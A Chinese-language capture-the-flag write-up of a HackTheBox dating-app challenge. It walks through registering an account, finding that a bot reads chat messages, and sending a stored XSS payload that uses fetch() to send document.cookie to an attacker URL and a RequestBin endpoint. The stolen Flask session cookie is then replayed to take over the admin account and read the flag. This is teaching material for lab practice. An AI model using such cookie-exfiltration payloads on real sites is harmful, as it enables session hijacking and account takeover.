# 题目描述

image-20250402094001430

(无附件)

# 观察

打开网页:

image-20250402093942965

注册个账号试试:(注意这里一定要上传一个头像,不然会一直提示用户名重复)

image-20250402094051656

进去之后会显示 4 个人,我们每个都点一下绿色的心(在 dating app 里应该是心动的意思):

image-20250402094150895

image-20250402094203279

image-20250402094215653

image-20250402094226748

然后点进右上角的 Mathces:

image-20250402094342718

会发现只有一个对话框。

image-20250402094437479

对话里没有什么有用的信息,但是我们注意到它好像是每隔一段时间(大概 5 到 10 秒左右)才会看一次我们的消息并回复,跟一般 XSS 的环境很像。

我们查看当前的 cookie 会发现:

image-20250402094643865

image-20250402094708577

通过 base64 解码会发现这个应该是通过 cookie 识别我们登录的身份的。(后面的乱码部分是 python 的 flask 的 session 自带的签名)

# 渗透

通过 XSS 获取管理员身份并登录他的账号。

首先在 https://requestbin.kanbanbox.com/ 上创建一个 RequestBin:

image-20250402125110966

image-20250402125101276

正常 XSS 攻击的模板是:

<script>fetch("http://attacker.com?cookie=" + document.cookie); </script>

所以我们将我们在 RequestBin 创建的 url 放进去然后在聊天框发送:

<script>fetch("https://requestbin.kanbanbox.com/xckrydxc?cookie=" + document.cookie); </script>

之后在 RequestBin 页面点击右上角的青色图标那里:

image-20250402125607867

就可以查看收到的 cookie 内容:

eyJ1c2VyIjp7ImlkIjoxLCJ1c2VybmFtZSI6IlJlbmF0YSJ9fQ.Z-0WhA.5nThwcWkf-HP8ql-gF68E3RTUjE

之后在浏览器里修改我们的 cookie 再刷新网页:

image-20250402125801791

image-20250402125815441

可以看到我们成功登录了她的账号,还能看到我们刚才发送的消息。

flag 就在另一个对话里: HTB{d0nt_trust_str4ng3r5_bl1ndly}